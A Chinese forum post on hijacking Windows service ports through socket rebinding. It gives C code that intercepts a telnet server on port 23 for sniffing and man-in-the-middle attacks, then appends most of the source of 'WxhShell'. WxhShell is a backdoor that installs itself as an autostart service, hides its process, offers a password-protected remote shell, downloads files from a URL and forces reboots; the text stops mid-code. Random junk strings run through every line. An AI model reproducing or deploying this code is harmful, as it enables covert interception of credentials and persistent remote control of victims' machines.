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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9 P_`IsVK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s, m+q)  
Yq}7x1mm  
  saddr.sin_family = AF_INET; [H;HrwM s)  
JIvVbI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e `zEsLs@  
3dfG_a61y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -Bbg'=QZa  
t5mI)u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .w/#S-at  
.Gq.st%  
  这意味着什么?意味着可以进行如下的攻击: Os^sOOSY  
Cbm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9)0AwLlv  
LO]D XW 9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qw4P{>|Y  
^I3cU'X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UMwB.*  
@%&;V(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ r|R`n=  
gS4zX>rqe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A`<#}~A  
.o91^jt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mbxJS_P  
GHj1G,L@\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *@o@>  
~t[ #p:  
  #include 0}Rxe  
  #include \]GO*]CaV  
  #include 'Wjuv9)/  
  #include    H `y.jSNi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v1<gNb)`  
  int main() i$;GEM}tv  
  { Y(GH/jw  
  WORD wVersionRequested; yjs5=\@  
  DWORD ret; J"QXu M  
  WSADATA wsaData; 3 Yf%M66t  
  BOOL val; L0uvRge  
  SOCKADDR_IN saddr; #\N?ka}!  
  SOCKADDR_IN scaddr; 'ah|cMRn  
  int err; H .)}|  
  SOCKET s; ~fw 6sY#  
  SOCKET sc; HmKvu"3  
  int caddsize; Yao>F--?  
  HANDLE mt; 5x?eu n  
  DWORD tid;   (UDF^  
  wVersionRequested = MAKEWORD( 2, 2 ); 5w"f.d'  
  err = WSAStartup( wVersionRequested, &wsaData ); ]\5@N7h  
  if ( err != 0 ) { uMa: GDh7  
  printf("error!WSAStartup failed!\n"); .z&V!2zp  
  return -1; m76**X  
  } 6g4CUP'Y  
  saddr.sin_family = AF_INET; #%z--xuJL  
   #Z<pks2 y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D 7 l&L  
u\=gps/Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !t "uNlN  
  saddr.sin_port = htons(23); 11}sRu/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iY"I:1l.  
  { mN +~fu h  
  printf("error!socket failed!\n"); j[NA3Vj1P  
  return -1; Je_Hj9#M\d  
  } +#8?y 5~q  
  val = TRUE; kwNXKn/   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [M_pf2Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !P/ ]o  
  { !iUdej^tx  
  printf("error!setsockopt failed!\n"); b9ysxuUdS  
  return -1; *}R5=r0  
  } 6-va;G9Fc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hh}%Z=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pcXY6[#N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HX\@Qws  
;wND?:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3U<\y6/  
  { 0h!2--Aur  
  ret=GetLastError(); zOYkkQE3mJ  
  printf("error!bind failed!\n"); S+>&O3m  
  return -1; x&sT )=#  
  } MK9?81xd  
  listen(s,2); MbLG8T:y  
  while(1) NHA 2 i  
  { Gir_.yc/  
  caddsize = sizeof(scaddr); 9\3%5B7  
  //接受连接请求 jENarB^As  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IcZ_AIjlk  
  if(sc!=INVALID_SOCKET) h95C4jBE  
  { lMAmico  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5&7)hMppI  
  if(mt==NULL) Q>7#</i\.  
  { $de_>  
  printf("Thread Creat Failed!\n"); l|O^yNS  
  break; 8=gr F  
  } :Q2\3  
  } xou7j   
  CloseHandle(mt); Dntcv|%u  
  } ]Vhhx`0  
  closesocket(s); +JZ<9,4  
  WSACleanup(); fC xN!  
  return 0; %\N.m/5  
  }   RI w6i?/I  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7p3 ;b"'  
  { =bs4*[zq  
  SOCKET ss = (SOCKET)lpParam; }#z E`IT  
  SOCKET sc; nQK@Uy5Yr  
  unsigned char buf[4096]; ;hF>iw  
  SOCKADDR_IN saddr; B) &BqZ&  
  long num; 0uzis09  
  DWORD val; gJi11^PK  
  DWORD ret; =sRd5aMs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qTC`[l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E#Ynn6  
  saddr.sin_family = AF_INET; i_g="^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 U1)sPH;  
  saddr.sin_port = htons(23); RL~|Kr<7J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #W 1`vke3  
  { [UNfft=K3P  
  printf("error!socket failed!\n"); j^KM   
  return -1; As@~%0 S  
  } ~B>I?j  
  val = 100; %r6LU<;1@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F<BhN+U  
  { 1w+On JI?  
  ret = GetLastError(); JeMhiY}  
  return -1; n-,~Bp [  
  } ]@l~z0^|[_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G,{L=x Oh  
  { FU!U{qDI  
  ret = GetLastError(); V5KAiG<d  
  return -1; GK/a^[f+'l  
  } o]n5pZ\\W<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,8o]XFOr  
  { ]=9%fA  
  printf("error!socket connect failed!\n"); q "bpI8j  
  closesocket(sc); 598 xV|TON  
  closesocket(ss); aFo%B; 8m  
  return -1; 6`NsX  
  } HG@!J>YaD  
  while(1) uI%h$  
  { Q9K Gf;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R.A}tV=j#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6BW-AZc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rd]HoFE  
  num = recv(ss,buf,4096,0); }n=Tw92g  
  if(num>0) .)|jBC8|}  
  send(sc,buf,num,0); [HF)d#A  
  else if(num==0) $>/J8iB  
  break; y>2v 9;Qp  
  num = recv(sc,buf,4096,0); %'\D _W&  
  if(num>0) pSQ3 SM  
  send(ss,buf,num,0); <WaiJy?  
  else if(num==0) tRbZ^5x\@  
  break; #Vul#JHW  
  } #.9Xkn9S  
  closesocket(ss); BxZ}YS:  
  closesocket(sc); }y|% wym  
  return 0 ; Uvf-h4^J]:  
  } ^!{oyw   
9<7Q{  
8i-?\VZD  
========================================================== TW3:Y\p  
wgLS9.  
下边附上一个代码,,WXhSHELL cJ]`/YJ  
 t8GJ;  
========================================================== Y+/ofk "  
v8*ZwF  
#include "stdafx.h" W7(OrA!  
U@& <5'  
#include <stdio.h> }C" #b\A2  
#include <string.h> ct~lt'L\  
#include <windows.h> NWCnt,FlY  
#include <winsock2.h> l[ @\!;|  
#include <winsvc.h> 6J%SkuxR  
#include <urlmon.h> XF^c(*5  
ys+?+dY2  
#pragma comment (lib, "Ws2_32.lib") t T-]Vj.  
#pragma comment (lib, "urlmon.lib") 6ap,XFRMh  
[FiXsYb.8  
#define MAX_USER   100 // 最大客户端连接数 ?N11R?8  
#define BUF_SOCK   200 // sock buffer 7MGc+M(p  
#define KEY_BUFF   255 // 输入 buffer ,z%F="@b9  
Crpk q/M  
#define REBOOT     0   // 重启 bs+KcY:N]  
#define SHUTDOWN   1   // 关机 cR@z^  
s ]QzNc  
#define DEF_PORT   5000 // 监听端口 qh.c#t  
J\;~(: ~  
#define REG_LEN     16   // 注册表键长度 ACyQsmqm:  
#define SVC_LEN     80   // NT服务名长度 r{%NMj  
iZSj T"l^  
// 从dll定义API -v jjcyTt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JAB]kNvI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }=f}@JlFB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Z+v\5nmO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }ZYK3F  
J8b]*2D  
// wxhshell配置信息 `=-}S+  
struct WSCFG { $S,Uoh  
  int ws_port;         // 监听端口 @~63%6r#4M  
  char ws_passstr[REG_LEN]; // 口令 zZiB`%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2tWUBt\,g  
  char ws_regname[REG_LEN]; // 注册表键名 (O`=$e  
  char ws_svcname[REG_LEN]; // 服务名 +IS$Un  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Nik( Oyj"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 40g&zU-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l}O`cC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3\(s=- vh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /itO xrA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .}Zmqz[  
]/$tt@h  
}; 'rR\H2b   
b7>;UX  
// default Wxhshell configuration 2>EIDRLJ-  
struct WSCFG wscfg={DEF_PORT, ~{5%~8h.0r  
    "xuhuanlingzhe", Fa/i./V2  
    1, efbt\j6@%2  
    "Wxhshell", vG\Wr.h0!=  
    "Wxhshell", gdT^QM:y4$  
            "WxhShell Service", v>nJy~O]  
    "Wrsky Windows CmdShell Service", 10[~ki-1;  
    "Please Input Your Password: ", $C[YqZO  
  1, a,j!B hu  
  "http://www.wrsky.com/wxhshell.exe", uWfse19  
  "Wxhshell.exe" U| N`X54  
    }; 6B+ @76wH  
-%t0'cKn,  
// 消息定义模块 Y7{|EI+@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vfy- ;R(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oO UVU}H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rg'? ?rq  
char *msg_ws_ext="\n\rExit."; 5#d(_  
char *msg_ws_end="\n\rQuit."; Me`"@{r|#  
char *msg_ws_boot="\n\rReboot..."; *|=&MU*+  
char *msg_ws_poff="\n\rShutdown..."; r?[mn^Bo5  
char *msg_ws_down="\n\rSave to "; tICxAp:  
6u.b?_u  
char *msg_ws_err="\n\rErr!"; R]V`t^1  
char *msg_ws_ok="\n\rOK!"; jr9ZRHCU  
3p^WTQ>(  
char ExeFile[MAX_PATH]; NK4ven7/  
int nUser = 0; =riP~%_ML)  
HANDLE handles[MAX_USER]; aIfog+Lp  
int OsIsNt; 3oKqj>  
* e 8V4P  
SERVICE_STATUS       serviceStatus; Fza)dJ 7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @Td[rHl  
6Nl$&jL  
// 函数声明 92VAQU6  
int Install(void); jkdNisq37  
int Uninstall(void); f0[xMn0Tu  
int DownloadFile(char *sURL, SOCKET wsh); ,F *e^#>  
int Boot(int flag); 3] @<.  
void HideProc(void); RB\WttI  
int GetOsVer(void); E"" /dC:B  
int Wxhshell(SOCKET wsl); ?"C]h s  
void TalkWithClient(void *cs); \E#r[9F{  
int CmdShell(SOCKET sock); ! \gRXP}  
int StartFromService(void); oqY?#p/  
int StartWxhshell(LPSTR lpCmdLine); Xoik%T-  
b%_QL3 m6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +(/Z=4;,[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1a)_Lko  
ad~ qr n\  
// 数据结构和表定义 GqAedz;.  
SERVICE_TABLE_ENTRY DispatchTable[] = F9c2JBOM  
{ xH f9N?  
{wscfg.ws_svcname, NTServiceMain}, sEj:%`l|  
{NULL, NULL} 7<tqT @c  
}; b\+|g9Tm  
M"FAUqz`  
// 自我安装 hZ#tB  
int Install(void) ,U tw!]  
{ CX:^]wY  
  char svExeFile[MAX_PATH]; FQ87[| S  
  HKEY key; ^twv0>vEo  
  strcpy(svExeFile,ExeFile); woT"9_tN  
bF Vd v&  
// 如果是win9x系统,修改注册表设为自启动 6d.m@T6~  
if(!OsIsNt) { RSi0IfG5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SKtEEFyIR_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7L\GI`y  
  RegCloseKey(key); y$&a(S]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6X jUb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -j$l@2g  
  RegCloseKey(key); %F4Q|  
  return 0; {xykf7zp  
    } 'w!gQ#De  
  } yd%\3}-  
} |l? ALP_g  
else { C0fA3y72  
$%E9^F  
// 如果是NT以上系统,安装为系统服务 ,mX|TI<*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A8RT3OiXA  
if (schSCManager!=0) 2l SM`cw  
{ FEZ6X  
  SC_HANDLE schService = CreateService KGWENX_U  
  ( @uE=)mP@  
  schSCManager, B~aOs>1 S]  
  wscfg.ws_svcname, I[`2MKh  
  wscfg.ws_svcdisp, !Q3Snu=  
  SERVICE_ALL_ACCESS, %zD-gw>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?rOb?cu-  
  SERVICE_AUTO_START, ~pA;j7*  
  SERVICE_ERROR_NORMAL, YBCjcD[G  
  svExeFile, %<"11;0tp  
  NULL, #,PAM.rH  
  NULL, LAKZAi%O0  
  NULL, ~ghz%${`  
  NULL, ^VIUXa  
  NULL G9a%N  
  ); M"vcF5q  
  if (schService!=0) c6uKK h>  
  { }F`Tp8/&j  
  CloseServiceHandle(schService); 2%qn !+.  
  CloseServiceHandle(schSCManager); Wu4Nq+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "[?/I3 {E  
  strcat(svExeFile,wscfg.ws_svcname); ?xo,)``  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u20b+c4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _]S6>  
  RegCloseKey(key); +{%4&T<nHw  
  return 0; 55cldo   
    } Gh|!FRK[$  
  } X@:fW  @  
  CloseServiceHandle(schSCManager); &0eB@8{N  
}  ke#;1  
} 4@V] zfu^Q  
L@_">' pR  
return 1; &+j^{a  
} (rG1_lUDu  
>YBpB,WND  
// 自我卸载 `eWc p^|  
int Uninstall(void) ._&lG3'  
{ LJ/qF0L!H  
  HKEY key; _tReZ(Vw  
]18ygqt  
if(!OsIsNt) { pu:D/2R2;k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sBb.Y k  
  RegDeleteValue(key,wscfg.ws_regname); 1a$V{Eag  
  RegCloseKey(key); 5y3TlR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Crhi+D  
  RegDeleteValue(key,wscfg.ws_regname); u,akEvH~a  
  RegCloseKey(key); U&n>fXTHn  
  return 0; W^ :/0WR  
  } z^/GTY  
} ]Z-oUO Z<k  
} 0GYEt  
else { 9f^PR|F  
Inc:t_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M',D  
if (schSCManager!=0) 6XAr8mw9  
{ AMd)d^;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bVeTseAG  
  if (schService!=0) =[K)<5,@  
  { ]pV1T  
  if(DeleteService(schService)!=0) { =b!J)]  
  CloseServiceHandle(schService); {?mQqoZ?.  
  CloseServiceHandle(schSCManager); y<1$^Y1/)  
  return 0; IOkC[([  
  } w;EXjl;X O  
  CloseServiceHandle(schService); -p.*<y  
  } Jo3(bl %u  
  CloseServiceHandle(schSCManager); lZM3Q58?\  
} dl6v <  
} ]kkBgjQbS  
8KtgSash  
return 1; G\+nWvV7  
} L{LU@.;1  
S%X\ ,N  
// 从指定url下载文件 VMIX$#  
int DownloadFile(char *sURL, SOCKET wsh) 9I\3T6&tr  
{ !1'-'Q@f  
  HRESULT hr; FMd LkyK;  
char seps[]= "/"; %p2x^air  
char *token; x"8ey|@&,  
char *file; pfZ,t<bE2  
char myURL[MAX_PATH]; vif8 {S  
char myFILE[MAX_PATH];  A<Z 5  
p$nK@t}  
strcpy(myURL,sURL); ^dnz=FB  
  token=strtok(myURL,seps); s!'A\nVV1$  
  while(token!=NULL) [u9JL3  
  { !049K!rP{  
    file=token; `SjD/vNE  
  token=strtok(NULL,seps); [b.'3a++  
  } BO4 K#H7  
9J7J/]7f  
GetCurrentDirectory(MAX_PATH,myFILE); "b>KUzuYT  
strcat(myFILE, "\\"); d%lHa??/ h  
strcat(myFILE, file); @ 9 { %Kn  
  send(wsh,myFILE,strlen(myFILE),0); 2d2@J{  
send(wsh,"...",3,0); [9O~$! <%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E,LYS"%_  
  if(hr==S_OK) F[kW:-ne@Z  
return 0; zZ9<4"CIk  
else 9*|3E"Vr  
return 1; %md^S |  
V 7l{hEo3?  
} ?JgO-.  
H_?B{We  
// 系统电源模块 hOB\n!  
int Boot(int flag) eky(;%Sz  
{ r)p2'+}pV  
  HANDLE hToken; .ts0LDk0f  
  TOKEN_PRIVILEGES tkp; R6Zj=l[  
8b(1ut{  
  if(OsIsNt) { !(*a+ur&i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y#lk!#\Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GwQZf|  
    tkp.PrivilegeCount = 1; O<1vSav!K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;4G\]%c)E{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t @(9ga(  
if(flag==REBOOT) { /> 3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KR=d"t Qw  
  return 0; 2]D$|M?$~  
} 'cZMRR c <  
else { =zm0w~']E!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V3mjb H>F  
  return 0; *IWFeu7y  
} r]8x;v1  
  } VyWYfPK  
  else { y~ _za(k  
if(flag==REBOOT) { q#99iiG1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JOrELrMx  
  return 0; 5@czK*5  
} N^\2 _T  
else { u  m: 0y,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $_RWd#Q(  
  return 0; GsIwY {d  
} (!*Xhz,(-  
} tL~,ZCQz  
E-)VPZ1D  
return 1; " ^HK@$  
} ]$~Fzs  
_ktK+8*6`  
// win9x进程隐藏模块 + UK%t>E8  
void HideProc(void) Q(|PZn g  
{ o)%-l4S  
,-(T"Ph<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); id;#{O$  
  if ( hKernel != NULL ) Qj(vBo?D  
  { kmlG3hOR,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NoCDY2 $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R9Sf!LR  
    FreeLibrary(hKernel); 5: daa  
  } YlswSQ  
)bLGEmm  
return; "1XXE3^^  
} VG_uxKY  
d4Co^A&  
// 获取操作系统版本 =db'#m{$  
int GetOsVer(void) I@0z/4H``  
{ zoZ<)x=;  
  OSVERSIONINFO winfo; ic*->-!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8 !4~T,9G  
  GetVersionEx(&winfo); K8HIuQ!=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E X%6''ys  
  return 1; o84UFhm   
  else 3CR@' qG-  
  return 0; ;,1=zhKU.  
} lPM3}52Xu  
pOC% oj  
// 客户端句柄模块 f64(a\Rw!^  
int Wxhshell(SOCKET wsl) M1oPOC\0.  
{ $hkq>i \  
  SOCKET wsh; +|y*}bG  
  struct sockaddr_in client; |K L')&"  
  DWORD myID; XE_ir Et  
?y ~TCqV  
  while(nUser<MAX_USER) @#RuSc  
{ Rn`ld@=p[  
  int nSize=sizeof(client); 'lJEHz\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?X\3&Ujy$  
  if(wsh==INVALID_SOCKET) return 1; `|$'g^eCL  
>i "qMZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =p <?Hu  
if(handles[nUser]==0) lVPOYl%  
  closesocket(wsh); *GQDfs`m  
else pzp,t(%j  
  nUser++; B:4Ka]{YO  
  } I @ 2uF-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pO%{'%RA  
Ve{n<{P  
  return 0; xfjd5J7'  
} #/Ruz'H1>  
@;vNX*-J  
// 关闭 socket A)tP()+)  
void CloseIt(SOCKET wsh) ? ^M /[@  
{ 2 {bhA5L  
closesocket(wsh); *G9sy_  
nUser--; UuU/c-.  
ExitThread(0); U-i.(UyZ  
} C5xag#Z1  
57wFf-P  
// 客户端请求句柄 v??TJ^1  
void TalkWithClient(void *cs) ,57$N&w  
{ 07V8;A<,  
E<>*(x/\e  
  SOCKET wsh=(SOCKET)cs; bu>qsU3  
  char pwd[SVC_LEN]; iPq &Y*  
  char cmd[KEY_BUFF]; : [q0S@  
char chr[1]; ^W~p..DF  
int i,j; ~ 3^='o  
aSC9&Nf;  
  while (nUser < MAX_USER) { `K*b?:0lp  
c.A Yx I"  
if(wscfg.ws_passstr) { QT! 4[,4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,R?np9wc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k|xtrW`qo;  
  //ZeroMemory(pwd,KEY_BUFF); &?0:v`4Y  
      i=0; *wuqa) q2  
  while(i<SVC_LEN) { !*aPEf270  
u:&o}[  
  // 设置超时 ~e `Bq>  
  fd_set FdRead; Kz jC/1sd  
  struct timeval TimeOut; c~0{s>  
  FD_ZERO(&FdRead); oc7$H>ET1  
  FD_SET(wsh,&FdRead); mMSh2B  
  TimeOut.tv_sec=8; S${Zzt"  
  TimeOut.tv_usec=0; OoBCY-gj*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +x=)/;:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qnM|w~G  
-`+<{NHv\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RBwO+J53y  
  pwd=chr[0]; PRkS Q4  
  if(chr[0]==0xd || chr[0]==0xa) { iDoDwq!l_  
  pwd=0; ?YQPlv:<o.  
  break; BHA923p?  
  } ]5 Qy  
  i++; <q (z>*-e  
    } p =(@3%k  
2o3EHZ+]cm  
  // 如果是非法用户,关闭 socket *T`-|H*6@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7j$Pt8$  
} !345 %,  
p5\]5bb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WOLuw%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : i~W } r  
2f>PO +4S{  
while(1) { >&,[H:Z  
,](:<A)W&  
  ZeroMemory(cmd,KEY_BUFF); _;1}x%4v  
>j*;vG5T  
      // 自动支持客户端 telnet标准   @{hd{>K*  
  j=0; Bc7V)Y K  
  while(j<KEY_BUFF) { G7GZDi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>i%7:OMZA  
  cmd[j]=chr[0]; P 1XK*GZ  
  if(chr[0]==0xa || chr[0]==0xd) { ritBU:6  
  cmd[j]=0; fu[K".  
  break; 5cJ !"  
  } WWKvh  
  j++; O`G/=/GZ  
    } =,y |00l  
80b;I|-T,  
  // 下载文件 \1"'E@+  
  if(strstr(cmd,"http://")) { /E;y,o75  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~y HU^5D  
  if(DownloadFile(cmd,wsh)) = ?D(g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7d) S&*V  
  else `x8J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KRAcnY;u  
  } x5}'7,A  
  else { %`MQmXgM  
{\H/y c|@  
    switch(cmd[0]) { Sr?#wev]rn  
  gTl<wo +  
  // 帮助 Zxr!:t7  
  case '?': { , DdB^Ig<r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x8Loyt_C  
    break; qgIb/6;xQ  
  } vo>d!rVCV  
  // 安装 ho8`sh>N  
  case 'i': { aj8A8ma*}  
    if(Install()) }%b;vzkG5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >r`b_K  
    else dzLQI}89+k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \B F*m"lz  
    break; [B@'kwD\l  
    } '* mH*?Y  
  // 卸载 &Z(K6U#.  
  case 'r': { **9x?s  
    if(Uninstall()) F+R?a+e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiUGZ^k\s  
    else :B3[:MpL}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;f*VM.a  
    break; FZjHw_pP  
    } 3LDS Z1f  
  // 显示 wxhshell 所在路径 .2d9?p3Y  
  case 'p': { X%z }VA  
    char svExeFile[MAX_PATH]; V7#v6!7A@  
    strcpy(svExeFile,"\n\r"); Z^ }mp@j>  
      strcat(svExeFile,ExeFile); QaUm1 i#  
        send(wsh,svExeFile,strlen(svExeFile),0); zp\8_U @  
    break; mc=LP>uoS  
    }  _zlqtO  
  // 重启 ]7-&V-Ct*  
  case 'b': { @SCI"H%[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B8E'ddUw  
    if(Boot(REBOOT)) 4iSa7YqhBT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RMMd#/A@}  
    else { N0hE4t  
    closesocket(wsh); NM ]bgpP  
    ExitThread(0); (&/2\0QV  
    } /mo(_  
    break; {U&.D [{&  
    } +`3!I  
  // 关机 j+>J,axU!  
  case 'd': { 2WUT/{:X  
